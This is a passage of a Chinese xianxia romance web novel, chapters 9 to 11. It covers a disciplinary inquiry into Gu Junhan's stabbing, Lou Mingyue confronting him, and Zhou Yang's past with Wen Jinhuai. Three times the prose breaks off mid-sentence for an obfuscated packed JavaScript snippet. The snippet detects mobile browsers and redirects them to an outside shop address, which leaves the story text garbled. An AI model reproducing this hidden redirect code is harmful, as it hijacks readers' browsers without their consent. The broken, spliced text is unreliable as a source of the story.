当茯苓端着一盆血出来的时候,几乎所有人都围了上来。 人群外失魂落魄的楼明月,心也一下子揪紧。 茯苓被人围在中间,七嘴八舌地询问状况。 她扬了扬下巴,面上带着点骄傲:“这世上就是大罗金仙都救不了的人,只要经我师父出手,也能让他起死回生!” 楼明月闻言松了口气,悬着的心终于落地。 门“吱呀”一声从内打开,众人顿时围了上去。 茯苓将那盆血水倒入花圃,转头就看到了阶下孤零零站着的楼明月。 她激动地走了过去,适才发现她的脸色很差。 瓷白的脸颊不见半分血色,双唇紧抿成一线,惯常淡漠的眸子如今却恍然失神,连指尖都在微微发颤。 那个被扣上“仙子”名头的楼明月,不论发生什么事总会强撑着一份平静。 多少年了,也不曾见她为谁紧张成这样过。 她重重哼了一声,不服气地嘟囔道:“真不公平,我上次试药昏过去三天,怎么不见你为我着急成这样啊?” “难不成真和二哥说的一样,你看上那个新来的小师弟了?” “只闻新人笑,哪闻旧人哭啊!喂!你那肿成猪头的小侍卫可还在我三圣山待着呢!” 她被逗笑了,神情无奈:“试药昏迷,不是你应付掌教的借口吗?” “以前是,但人家上次不是啦!” 楼明月心里想到什么,笑意很快凝滞,问出了自己最关心的事。 “他的伤势…怎么样?” 茯苓:“很险,刀刃再往里入分毫主脉就断了。我医治的时候他就只剩一口气了,幸好等来了我师父!” 她眉头蹙了蹙,紧接着问道: “可会留下什么遗症?” “这…得看后续的恢复情况了,若是没养好的话,以后心脏受不了刺激,恐怕不能再习武打擂了。” 楼明月眼神空然地点了点头。 “明月!” 一声叫喊打断了两人的交谈,楼明月循声望去,周漾在高阶上大喊。 “小师弟他醒了——” 她闻言眸光轻颤,反应过来后立刻往阶上跑。 周漾却一把拉住了她。 “你先等等!” 他紧张地看了看周围,压低声音道:“稽查司的人也在里面,万一那小子把你供出来怎么办?” 楼明月对此倒是很冷静。 早在顾钧寒一把掀翻她帷帽的时候,她就已经做了最坏的打算。 “随他吧,大不了落个残害同门的罪名,将我逐出宫作罢。” 她说完就走了,坦然迈步进了房间。 推门而入的那一瞬间,恰好和卧于病榻的顾钧寒相视。 他的脸色略显惨白,身子斜倚在榻上,胸膛上缠了一圈又一圈的纱布。 那颗萦蓝妖珠,则被他紧紧攥在掌心,一刻也不肯松歇。 他仔细盯着楼明月,如愿以偿地从她脸上找到几分担忧。 想起她落在自己身上的那滴泪,和以为自己死了恍然若失的那些话。他偏过头不去看她,眼底浮上一抹不可察觉的笑意。 上辈子你一剑斩杀我的时候,也像现在这样难过吗? 楼明月之后紧跟着的就是周漾。 稽查司的人见她进来已是不爽,看到身后的周漾,更是直接垮下脸。 周漾切了一声,一副泼皮架势。 “瞪瞪瞪,瞪什么瞪!” “眼睛不好使就去三圣山,要躺尸也回你们獬豸山躺去,别给我翠微山添晦气!” 裴九思被激得瞬间暴起: “你好歹也是监察使,难道不知道问审时清除闲杂人等的规矩吗?!” 稽查司的“监察使”,由三宫各自推举一名弟子兼任,代表三宫互相监督,保证公平。 譬如周漾,他就是专门负责玄英宫的监察使。 周漾闻言不但没有被谴责住,反而更来气了,直接破口大骂。 “滚蛋!” “什么狗屁监察使,我上次拿这个死令牌去玄英宫,不还是被扫地出门了!” 一旁持笔记录问审过程的鹿瑾,抬头反驳道:“私人恩怨,就别怪我们稽查司了吧?” “别说你是监察使了,你就是宫主,觊觎别人家掌上明珠也是要被扫帚请出门的!” 这指的是温珒怀, 周漾罕见地被噎住了。 他看向榻上轻微咳嗽的顾钧寒,很快转变了说辞,试图把他们都轰出去。 他一脸悲痛愤慨:“你们这群人,只想问出个前后所以然来,只有我关心我师弟冷不冷、饿不饿、渴不渴!” “我师弟大病未愈,你们只知道在他房里吆五喝六地糟践他!” 裴九思闻言懵了。 问话而已,这算……糟践? 鹿瑾挠了挠脑袋,咂摸出几分不对劲。 “等等,貌似这整个房间,声音最大的就是你吧。” “你说话都震的我耳朵疼!” 周漾呸了一声:“那是你有耳疾!少往我身上赖!” 他回头挑眉:“明月,你说呢?” 楼明月一脸诚恳: “二哥,他说的是真的。” 周漾简直两眼一黑, 队友拆台怎么办? 裴九思被他吵得头疼,大手一挥干脆道:“罢了罢了,你们非要围观我也拦不住。” “只是有一点,不准打断问审过程,否则我必定告到楼宫主哪儿去!” 两人连忙点点头。 裴九思去掉了嘘寒问暖的部分,正式开始了问审。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059043|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“顾师弟,你还记不记得当时遇刺的情况?” “记得。” “我当时正在寻姑获鸟的踪迹,身后突然蹿出来一个人要对我下杀手。” 裴九思点了点头:“你知道她是谁吗,可记得那人的模样?” 周漾心下一紧,屏息凝神地盯着他。 顾钧寒短暂沉默了一会儿,偏眸看了一眼远处的楼明月。 对方静静伫立着,不见一丝慌乱。 他勾了勾唇,“当然记得。” 周漾闻言再也坐不住了,刚要开口说话时,却被楼明月出手拦了下来。 她神情坚决,朝他摇了摇头。 随即目光坦然地看向顾钧寒,大有一副视死如归的架势。 他见状没忍住笑了,在众人一头雾水的时候开口。 “她长得很漂亮,尤其是眼睛,很大很亮很勾人。像一谭春水,又像一捧被暖阳照过的积雪。” 裴九思闻言眉头紧皱,神情僵硬。 负责记录的鹿瑾停笔,质疑道: “她捅你的伤口这么深,非寻常力气可为,眼睛里闪的怎么也得是杀气吧?” “你还很亮很勾人,什么春水暖阳的,顾师弟,你脑子里在想什么呢!” 裴九思咳了两声。 “有没有其他的线索?” “有啊。” 顾钧寒身子往后靠了靠,语气略显轻浮。 “她凑过来的时候,身上有一股淡淡的清香。” 裴九思一脸认真:“是迷魂香?” 他摇了摇头,“应该是她的体香。” “……” “……” 众人一脸无语,她怎么没捅死你呢? 周漾大概知道他是在故意敷衍稽查司,心里松了口气。 楼明月的脸色有些难看,她宁愿和顾钧寒光明正大的决一死战! 裴九思气得直接闭眼,咬牙切齿道:“除了眼睛大,还有什么五官特征吗?” 顾钧寒叹了口气,一副认真回想的模样。 沉默了半晌,最后摇头。 “其他的我都不记得了。” 裴九思忍无可忍,拍案而起。 “不记得了?你给我描述了一堆没用的破细节,又是香又是亮的,我现在问你她鼻子嘴巴长什么样,你跟我说不记得了?你耍我啊你!” “你是眼有隐疾不辨五官,还是脑袋被驴踢了语无伦次?!” 顾钧寒神情悠闲,仿佛骂的不是他一般。他有意无意地看了一眼楼明月,眼中带着几分调笑。 “中州人都说…打是亲骂是爱,我想,她大抵是太爱我了,伤我一事我就不追究了。” 楼明月闻言身子微晃,脸色铁青,比被逐出宫门还难受。 裴九思气得要对他动手,身旁的鹿瑾连忙拦了下来。 “顾钧寒!你这个混账,你竟然敢戏耍我们稽查司!” “太清宫怎么会有你这样浪荡的弟子?无耻程度简直跟周漾有的一拼!!” 周漾耸了耸肩膀,一脸无辜:“喂,这跟我有什么关系?” 鹿瑾死命抱住他的腰,生怕他情绪上头把人揍了。 “算了吧师哥,听说玄英宫的鱼锦澄也受伤了,咱们还是去玄英宫问话吧,哪儿的正常人比这儿多!” “我再来你们太清宫我就是狗!” 裴九思骂骂咧咧地走了。 他从稽查司调来的那些人,纷纷长袖一甩,也都被气走了。 顾钧寒以一己之力,惹恼了整个稽查司,达成了和万年臭名昭著的周漾齐名的程度。 现在房里只剩下三人,彼此间的视线再无遮挡。 楼明月盯着他,已经记不清是多少次觉得他陌生。 觉得他和自己印象里的顾钧寒,判若两人。 10. 第 10 章 榻上人神情恹恹,强撑出的几分精神气被伤口处传来的阵痛磨灭了。 他眉头紧锁,冷玉般的脸上疼的直冒冷汗。一手捂着胸口,仔细看去,缠裹密集的白色纱布上已隐隐渗出些鲜红。 楼明月看着他,什么都没说,和稽查司那些人一样离开了房间。 周漾看着她的背影,一时有些无措。 他对于两人之间这种怪异的气氛,虽然早就有所察觉,却从不知为何。 包括楼明月要取心头血这件事,他也不知道她是为了什么。 只是从没见她这般恳求的模样,心一软就应了她。 眼下楼明月一声不吭地走了,顾钧寒一个人坐在榻上,垂首默然,失落之余好像又有些意料之中。 周漾在心里默默吐槽。 这两个人,哪儿像是刚认识半个月的师姐弟? 说句离谱的,分明像是之前就有过爱恨情仇的怨侣。 没过两秒,茯苓提着药盒推门而入。 “怎么搞的嘛,怎么这么快伤口就裂了。” 她一把推开床头的周漾,埋怨谴责道:“都怪你们一群人进进出出的,妨碍人家病人休息!” 周漾双手环抱,倚在床头,看着她小心翼翼地拆下旧纱布。 “小势利眼,这话你怎么不到稽查司面前说去?” 他哼哼两声:“也就只会欺负欺负我这个老实人。” 随即蹲了下来接过纱布,自觉给她打下手。 茯苓上完药后很快缠好了纱布。 她抬头,歪了歪脑袋,仔细盯着顾钧寒探看。 对方虽然面色苍白,却衬得眉眼愈发清隽。一双凤眼半睁半阖,倦怠里透出几分少有的矜贵。唇瓣薄而色淡,抿成一条冷硬的直线。 她在心里默默点了点头。 这个新师弟的模样……她还是很满意的。 茯苓起身,交代道:“这几天好好养伤,别再让明月担心了。” 顾钧寒闻言动作一僵,双眼猛地睁大。 方才的平静和倦怠荡然无存,漆黑眸色中带着几分惊诧。 “你刚刚说…师姐担心我?” 茯苓不以为意,实话道:“当然了,你重伤昏迷不醒的时候,她在外面吓得脸都白了。” 她边回忆边道:“简直是六神无主,失魂落魄…我还是第一次见她这副模样呢!你面子可真大!” 他心头暗爽,窃喜在心底翻腾而起。 眉峰微挑,愣神不过须臾,随即唇角不受控制地扬起来,笑意从眼底蔓延,笑得格外傻。 茯苓疑惑地看着他,不明白刚才那个清冷谪仙的小师弟,怎么转眼就成了个乐呵傻子? 她抱着药盒子退出房间,转头就看见了门外等待多时的楼明月。 她莫名瞪了自己一眼,神情也有些怪异。 茯苓睁着一双圆溜溜的大眼睛看向她,无辜得很。 “他的伤口我已经重新包扎好了,你不进去看看吗?” 楼明月无奈叹了口气,“不用了。” 楼明月不想见他,也不知道该怎么面对他。 带着那瓶心头血,一个人回到了清冷的昆吾山。 房间里的布置陈设都和上辈子一模一样,她看着小玉瓶中的那抹血红,思绪仿佛再次被拉至沧澜二十五年。 沧澜二十五年,她虽然也服下了心头血,却被告知时机太晚,体内的伏心树已经固化,即使显形也无法停滞其生长,进而恢复记忆。 这一次,逼出她体内伏心树的时间早了八年。 八年……会有什么不同吗? 她仰头,将瓶内的血悉数咽了下去。 熟悉的焚烧炙热感传来,她痛苦地皱着眉头,身子倒在塌沿,指甲嵌入掌心渗出血丝,在一阵痛苦的低吟中煎熬等待着那场“火”的出现。 楼明月浑身麻痹,意识也在崩溃迷离之间。 终于,她体内的温度越来越高。 一场异火,在识海中不断高涨升腾,搅得整个内景翻天覆地、不得安宁。 识海的重心处,渐渐幻化出一棵遮天蔽日的苍穹古树。 身上的那股灼热渐渐褪去,楼明月也近乎虚脱,闭上眼进入了内景。 她伸出手,恍如隔世地抚摸着那棵古树。不论是上辈子还是现在,都觉得它异常庞大。 老树枝干虬结,投下的阴影密不透风,已经笼罩了自己很多年。 甚至淹没了另一个自己, 另一个楼明月。 她在树下静静等了很久,等到身上的灼热感彻底消退,等到内景风波逐渐平静,却还是什么都没有发生。 仿佛一切都和上辈子一样,它静静伫立着,悄无声息地吞噬掉自己的记忆。 楼明月有些失望,心里仍在想着法子把它根除掉。 识海外传来一阵声音,她睁开眼,从内景中退了出去。 打开房门,发现是周漾。 他倚在门框上,冲着她挤眉弄眼。 “怎么样啊,小明月,你那瓶血派上用场了吗?” 楼明月闻言眉头微挑: “你知道我要干什么?” “不知道,我猜的。” “我听说南蛮有一种巫蛊术,只要取得钟爱之人的心头血,便可做真情傀儡,让他对你死心塌地~” 楼明月冷哼一声,“巫蛊之术伤天害理,我当然不会做。” 她好心提醒道:“这招也别想着对温珒怀使,她一定会杀了你的。” 周漾大失所望地“啊”了一声。 “你不是为了这个?那你干嘛非要人家的心头血啊?” “我……” 楼明月有些犹豫,不知道该和他从何说起。 他摆摆手打断道:“不想同我说便罢了,你还是想想,怎么给人家小师弟一个交代吧。” “他现在疗药不喝,饭食不进,吵着闹着要见明月师姐——” “他要见我?” 楼明月闻言心下一惊。 周漾肯定道:“对,就是你,明月师姐!” 该来的怎么也躲不掉,除非他打算一辈子不见他,否则迟早要面对顾钧寒这个冤家。 她跟这辈子相识不久的小顾钧寒说不清楚,为什么要在他试炼这样重要的日子行刺。 她同样也不清楚,对方为什么要撞上刀刃寻死。 她也不敢问,不敢试探。 生怕哪一句问得多了,哪一步走得过了,便让他乍起疑心,跳过一切隐忍的步骤,直接把自己掳回邪殿。 总之,顾钧寒于她而言,便是不知何时爆发的洪水猛兽。 她只想在这头猛兽彻底爆发前,弄清楚自己的一切。 伏心种是为何人所种? 自己遗忘的记忆究竟是什么? 以及…深埋心底的另一个楼明月,为什么会为一个“邪”而流泪? …… 戌时一刻,翠微山。 楼明月是在他拒绝喝药的第三次推门而入的。 茯苓见到她如同见到救星般,匆匆把药递给她,连忙拔腿跑了出去。 走之前最后交代道:“让他趁着药性快点儿喝,再浪费一碗,以后休想从本姑娘这儿要到一株草药!” 楼明月低头,看了眼手中的药碗。 秋寒透帷,那碗微凉的药汁盛在白瓷碗里,触手生凉,寒意丝丝缕缕漫过指尖。 他拗了很久,一碗药在炉上煨了三回,回回都从热气腾腾等到近乎冰凉。 “为什么不肯喝药?”她问。 “你很怕苦吗?” 顾钧寒笑了一声,忍着内伤阵痛转过身子,目光灼灼地看着她。 “汤药不比相思苦,我不怕苦。” 楼明月闻言神情微愣,眸中闪过一抹讶然,反应过来后轻蹙眉头,装作没听到,镇定其事地走了过去。 “既然不怕苦,那就喝了吧。” 她将药碗递给他,顾钧寒却没有要接过去的意思。 他唇角上扬噙着一抹笑意,眉眼间满是狡黠,语气带着些无赖的意味。 “师姐,我若臂膀发力会牵扯到伤口的。” 楼明月表面笑盈盈,手上的力道恨不得把药盏捏碎。 好你个顾钧寒,还学会蹬鼻子上脸了? 但想到他这伤的来处,楼明月还是坐了下来,拿起汤匙,耐着性子给他喂药。 顾钧寒垂眸,盯着她骨节分明的手指,怔了半晌才微微启唇。 舌尖不经意擦过匙沿,将那勺药汁吞入,喉结缓慢地滚了一下。 碗底药汁见底时,楼明月起身,握着空碗要走。 却被他一把攥住了手腕,堪堪坐回塌沿。 楼明月对于他的触碰有些应激,几乎是瞬间眉头紧蹙,甩开了他的手。 挣扎间不惜碰掉了药盏,“啪嗒”一声滚落在地,转了几圈,多了几道细纹裂痕,好在并没有碎裂开来。 他身子一倾,措不及防地凑近。 “师姐这么急着走,就没什么想和我说的吗?” 灼热的呼吸密密匝匝扑在她颈侧,语调低哑辨不出情绪,却攥住她那颗蓬勃跳动的心,生生漏了一拍。 她亏心事做的少,经不起这样的试探。 她闭上眼,最终叹了一口气。 “是,我是想问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059044|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,你真的不记得伤你之人的模样了吗?” 顾钧寒在她耳畔轻笑一声,氤氲热气缠在她颈侧肌肤,激得她手一攥,掐得自己指尖泛白。 “我记得。”他道。 “伤我的人,不就是师姐你吗?” 楼明月瞳孔微缩,心猛地一颤,呼吸变得有些急促。 “那你为什么、为什么不和稽查司说实话?” 顾钧寒盯着她,极其认真道: “这个问题很简单。” “因为师姐想要什么我都会拱手奉上,命,根本不算什么。” 楼明月愣住了,鼻子一酸,话都哽在喉咙里,想说也说不出来。 上辈子顾钧寒就是这么死的吧? 明明可以躲开自己,却还是被她随手捡来的一把钝剑穿透胸膛。 可现在是沧澜十七年…… 顾钧寒和她认识只不过寥寥几面。 她质问道:“我们之间的交情,远没有这般深吧?” 顾钧寒沉默了一阵,楼明月能听到,他轻轻叹了一口气。 “有。” 他声音坚定。 “我见师姐的第一面,就愿意为师姐出生入死。” “就因为…收徒大典上的那一面?” 他闻言在心底笑了一声。 姣姣,是在套他的话。 他摇了摇头,蓦然伸出手,掌心悬在她脸颊旁侧,指尖些许颤抖。 想要触碰,又被她警惕防备的眼神深深刺痛,于是手指蜷缩起来,撑在塌上的被褥。 “不是那一面。” 他反驳道,“我和你的初次见面,远比你想的要久远。” “你忘了好多,但我不怪你。” 楼明月惊讶又略带不解地看着他,对方也在盯着她,眼神炙热地盯着她。 顾钧寒看向她的眼神总是很直白,带着一种强烈的欲望。 这种“欲望”不是要把她拉入旖旎中的低俗卑鄙,反而把她高高架起,视若神明般珍重爱护,成为她座下最虔诚的信徒。 是信徒,却也必须是唯一的信徒,不容许除他以外的任何人染指、参看。 所以,是虔诚又恶劣的信徒。 虔诚跪拜,又恶劣占有。 楼明月被他盯得浑身发麻,呼吸紧滞,感觉再这么待下去,身体都不是自己的了。 她起身想逃,这次顾钧寒没有拦她。 她走了没两步,自己却停了下来。 顾钧寒的话在脑海里挥之不去,在她心里泛起了圈圈涟漪。 她感受着识海中那颗生机旺盛的伏心树,总不禁往最坏的方面去设想。 她忽然转身,第一次这么认真地看着他,开口道:“如果我一直都记不起来呢?” “你口中的那些‘久远’,也许我这辈子都不会想起来。” 她垂眸,真心实意道:“我不知道你是为了什么进入太清宫。总之在这里,钱财名利可图,宝物机缘可图,唯独那些虚无缥缈的东西,你怎么等也等不到的。” “与其苦守一生,白白耽误韶华余年,不如早日看透聚散离合。” 他目光沉沉地落在她身上,那双深黑的眼眸仿佛能穿透人心,将她所有的思绪映照得一清二楚。 她在劝他放手,这怎么可能呢? 他勾了勾唇。 姣姣,我不会放手的, 生生死死都不会。 “师姐,不要害怕。” 他眼神温柔,轻声安慰道。 “伏心树控制的是你的心,只有你自己才能反抗根除它,只要你想——” 邪神濒死时的心头血,只能逼出她体内的伏心树,让它显形并停止生长。 但是它之前就已经长出的那些繁枝茂叶,只有楼明月自己才能将其消除。旁人说得再多,不过尔尔便会被遗忘。 伏心树上结出的每一片叶子,每一朵琼花,都含着她被封印的记忆和情感。 她不会轻易放弃,顾钧寒也不会罢休。 他从袖中掏出一方帕子,里面小心翼翼地裹着一支玉簪子。 楼明月定睛看了看,正是他上次找自己讨要的那支荷花玉簪。 不同的是,原本破损的那一小块儿地方被人打磨圆润,嵌入了一颗小小的被雕刻成花苞状态的粉色晶石。 他眉眼一弯,笑道: “这支旧簪我补好了,等你记起来我们的第一面,我就把它还给你。” 楼明月站在原地,愣神了好久。 她心里有些异样,好像有什么经久不动的东西开始流转了。 顾钧寒, 好像也没那么讨厌。 11. 第 11 章 继顾钧寒之后,新入内弟子鱼锦澄同样落得个重伤濒死。 不到半柱香的时间,他们就慌忙放出了遇险信号,随即一行人都被抬了出来。 只是他的伤口与顾钧寒极其不同,骨血同枯,生脉遭创,非人力可为。 这些话,楼明月都是听周漾说的。 他听说温珒怀为了救下自己的师弟也身负重伤,连忙赶去玄英宫探看。 他去的时候,殿前已是人满为患,到处围得水泄不通。 三圣山近乎一半的弟子都在这儿,几个掌教听说情况棘手也是接连现身。 一盆一盆的血往外倒,治疗方案试了又试改了又改,现场气氛紧张得不行。 都说玄英宫的那行人,是在鬼沼山遇到了什么怪物才变成这样的。 具体是什么怪物,目前没有一个能给出回答的人。他们不是昏迷不醒,就是被吓得失神夺志了。 而温珒怀,一行人中修为最高的掌灯弟子,让周漾死心塌多年的人。 楼明月有些不可置信,她那样沉稳冷静,竟会是精神崩溃的那个。 她和温珒怀的关系谈不上有多好,但也论不着是死对头。 两人年岁相近,从小一起长大,突然有一天她却对自己充满了敌意,疏远冷漠得像个陌生人,嘴里振振有词念叨着: “总有一天,我要让你毫无反抗之力地败在我脚下。” 楼明月觉得奇怪,以为她只是单纯地讨厌自己,没怎么放在心上。 周漾趁乱挤进了温珒怀的寝殿,在旁人都束手无措之际,他只一眼就看出她崩溃为何。 温珒怀双眼紧闭,惊恐又害怕地把自己抱成一团,不允许任何人触碰。 明明已经闭着眼,但好像还是能看到什么东西,一边尖叫一边说些别人听不懂的话。 众目睽睽下周漾走了过去,一把攥住她的手腕,逼着她仰头看向自己。 挣扎间对方给了他一巴掌,“啪”地一声震响,火辣辣的痛感传来,他半边脸颊顿时红肿。 掌教赵双双见来者是他,恨铁不成钢地骂道:“小混账!这儿现在正乱着呢,你来添什么乱?赶紧滚蛋,小心我告诉你师父去——” 周漾“嘶”了一声,倒吸了一口凉气,忍着痛意没吱声。 这次他用了十足的力道,将她牢牢压在塌上,连挣扎的余地都没有。 “温珒怀,你有本事就睁开眼睛看看!” “你看看我,我是周漾不是段暄,你更不是付雪扬!” “这儿是天翎宗,不是什么归墟秘境!你出来了,你早就已经从那个鬼地方走出来了!” 众人惊呆了,见他如此逾矩嘴里还说着胡话,都以为他是疯魔了。 人群中有玄英宫的弟子大喊道: “我靠!快去找明月师姐和贺师兄,周漾他爱而不得变态了——” 掌教赵双双和殷素华,两人简直两眼一黑,连忙把他扒拉下来一顿胖揍。 赵双双双手叉腰,踹了他好几脚: “你个混账东西!大庭广众之下你都敢这么轻薄人家姑娘,我要告上三庭,让你师父扒掉你一层皮不可!!” 周漾被打得快要吐血,连忙求饶道:“冤枉啊,我是为了唤醒她啊……” “我呸!” 赵双双冷哼一声,指着他大骂。 “你个淫贼、色贼、采花贼!敢在老娘面前做这种腌臜事,小心老娘剁掉你一只手!” 楼明月和贺玄音赶到的时候,看到的就是这副场景。 周漾趴在地上被人打的半死不活的,一群人围在温珒怀身边关心她是否受惊。 局势看起来很明显。 这不就是登徒子轻薄人被抓住的场面吗? 楼明月知道来了要丢脸,但没想到要丢这么大的脸。 正当她思考着要不要偷偷走掉的时候,看到救命稻草的周漾连忙大喊。 “明月!救命啊——” “贺玄音救我!!!” 所有人的视线都聚集了过来,两个人就是想逃也来不及了,在众人谴责的目光下,硬着头皮走了过去。 楼明月将地上的周漾扶了起来。 贺玄音先是向两个掌教鞠了一躬,面带愧疚道:“给二位师父添麻烦了,我现在就把他带走。” 赵双双冷哼一声,横眉说教道: “阿音呐,你是大弟子,平常别光顾着自己修行,也该管好门下的几个师弟才是!” “你看看这个混账,平常失态就罢了,今天都敢跑到玄英宫上欺负人了,再过两天他是不是想上天啊他?!” “我没欺负……” 周漾刚要开口说话,被贺玄音偏头一个警告的眼神止住了。 楼明月拍了拍他的肩膀,小声劝道:“二哥,你还是安分点儿吧。” “得罪了大师兄,以后你挨打都没人能拦得住师父。” 周漾苦着一张脸,忍了又忍,最后蹦出来一句,“好人难当啊……” 赵双双还想再说些什么,另一边的殷素华突然惊喜大喊道:“醒了醒了,人醒了!” 一听这话,赵双双也顾不上他们几个,连忙凑到塌边去。 温珒怀的意识已经清醒过来,眼神不再恐惧,渐渐恢复了往日的平静。 紧绷的身子放松下来,急促的呼吸也趋于平缓。 “他呢?” 温珒怀开口,声音略显嘶哑。 赵双双愣了一秒,反应过来道:“嗷,是在说你那个小师弟吧?” 她摇了摇头。 “周漾。” 这是她为数不多,叫周漾名字的时候。 周漾终于挺起腰板,刚挨了一顿打,一听到对方叫自己就立即像个没事儿人一样。 “这儿呢这儿呢!你放心,她们没把我打死。”他扬着笑脸乐呵道。 温珒怀蹙了蹙眉头,苍白的脸上没有一丝温情,似乎并不想和他多扯。 她目光如炬地盯着他,纵然精神不好,气场却丝毫不减。 “你终于承认你不是段暄,我不是付雪扬了?” 这是她们俩之间的一段往事,楼明月听过一嘴,但记不太清了。 周漾被这话噎住,张了张口,想说什么又没说出来。 温珒怀直接道:“那就好。” 她转而看向赵双双和殷素华。 “鬼沼山里发生的事,我要去三庭给诸位长老汇报,劳烦两位掌教帮我通报一声。” 三庭,是三宫宫主和各级长老集中商讨要事的地方。 温珒怀一醒就要去三庭,想来鬼沼山里发生的事情必然不小。 赵双双连忙应了下来,赶往三庭传话。 温珒怀说完那句话之后,周漾就像是被点了穴般,一动不动地站在原地。 温珒怀的魂是回来了,他的魂却好像丢了。 楼明月扯了扯他的衣袖,又在他眼前晃了晃手掌,“二哥,这里是玄英宫,我们该走了。” 贺玄音没有那么温柔,为他处理这些烂摊子处理得多了,即使有也被他消耗殆尽了。 他粗暴地拽住周漾的衣领,气的咬牙切齿,语气生硬道:“再不走,我就一巴掌把你打醒!” 周漾看着温珒怀离去的背影,低眉垂眼,赌气般不肯开口。 贺玄音恨铁不成钢地推了他一把。 “你到底听清楚了没?” “段暄和付雪扬的梦已经结束了,你想继续做这个梦,人家不想!你能不能有点儿出息!” 再次听到这两个名字的时候,楼明月脑中有什么东西一通,似乎找回了些久远的记忆。 几年前,她和温珒怀还只是普通弟子的时候。 天翎宗举行过一次“外放赛”。 外放赛,是在整个玉京范围内设置上百道试炼幻境,并在其中广施灵泽。然后将年龄合适的弟子们通通放下山去参加试炼。 灵泽,既可以聚成一团内化吸收,增强修为;也可以找到山上的掌教,用一定数量的灵泽来兑换相应的宝物。 楼明月对宝物不感兴趣,修为上也不急功近利。但那一年,她还是卯足了劲儿想要得到足够多的灵泽。 她想用那些灵泽,去跟师父求一个恩典。 恩典什么,她已经记不清了。 好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059045|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …是为了什么人? 应该是被伏心树抹去了这段记忆,所以才那么模棱两可。 而温珒怀,那一年的她也十分拼命。不管是什么危险程度的试炼幻境,只要蕴含的灵泽多她就敢闯。 那时候的周漾对温珒怀还没这个心思,只把她看做邻家小妹,看着她满脸严肃的样子,当个乐子逗一逗。 转折点在,她们仨闯了同一个试炼幻境。 而那道幻境,并不属于天翎宗布下的幻境。 那是上古归墟秘境,当初封印遗漏而遗留下来的碎片所化。 归墟秘境很危险,是独立于神域和人间的另一种存在。 里面有造物主造物失败后丢弃的各种怪物(统称为“墟魇兽”),也有被人的极端执念改变了历史走向,而衍生出的“并行世界”。 不知道是什么原因,让这个本该隐蔽于时空的秘境在人间开启了。 三个人刚踏入其中,温珒怀就立马和他们拉开了距离,一个人孤僻地走在最前面。 楼明月正要迈步,却被周漾一把拽住了胳膊。 年长些的他已经察觉出了不对劲。 他看着身后那道马上就要闭合的境门,虽然不能肯定,心里一种不好的预感却越来越强烈 最后一刻,他奋尽力气把楼明月送了出去,自己和温珒怀则被困其中。 楼明月突然被推了出来,一时跌坐在地,还没有反应过来情况。 她看着那道已经被封闭的境门,幽光一闪,先前显现的属于天翎宗的印记已经消失,变回了它原本的模样。 楼明月立刻意识到,是有人对这道境门做了伪装,专门引诱天翎宗的弟子进入其中。 彼时她力量尚弱,实在无法撼动归墟境门,于是放弃了比赛,匆忙赶回宗门求救。 宫主们赶到的时候,也费了一番功夫才打开境门。 至于救出他俩,就更费功夫了。 谁也不知道他们掉入了哪个并行时空,归墟秘境即使是碎片,也不是能被人随心掌控的。 就这样大海捞针地寻了一个月,还是了无音讯。 当所有人都以为她们死了的时候,这两个人竟然自己从中走了出来。 打那以后,温珒怀性情大变,在某些事情上愈发偏执。 周漾收起了风流,从原来四处留情的浪荡子,变得对温珒怀死心塌地。 贺玄音说,他们俩是幸运的。 他们没有掉入任何一个并行时空,而是找到了归墟秘境里唯一的存在——离恨天 那个地方看起来和人间没什么两样,具体是什么情况,大概只有去过的周漾和温珒怀知道。 不过温珒怀抗拒那段记忆,周漾只会给好奇的人编一箩筐谎话。 所以传出来的版本,没有一百也有八十,实在不堪信。 至少有一件事情楼明月是知道的。 他们俩双双失忆,阴差阳错下在离恨天里成了婚,一个叫段暄,一个叫付雪扬。 在外面不过短短一个月,在里面两人竟然过了一辈子。 温珒怀以这段经历为耻辱,勒令封锁了消息,除了三宫宫主和两个内山弟子外,几乎没人知道。 所以段暄和付雪扬这两个名字一出,旁人只觉得是周漾疯了,并不知道其中内情。 现在,周漾还是不肯走。 贺玄音扣住他的手臂,用力一扯,半押半拽地把他带走了。 楼明月看了看时辰,决定先去翠微山给顾钧寒上药。 主要是因为…… 他们俩现在的姿势太引人瞩目了,路过的人几乎是百分百回头,还要再补几句八卦: “那是太清宫的周漾吧,他怎么又来了?” “还能为什么,整天缠着我们温师姐不放!太清宫的人怎么那么不要脸!” “对了对了,我听说太清宫新来的那个师弟也是,在稽查司面前都敢大放厥词呢!气的裴司使话都说不利索!” “啊?那不是比周漾还混蛋?!” 楼明月:“……” 她发誓,在周漾丢出去的脸没捡回来之前,她都不要再踏足玄英宫了。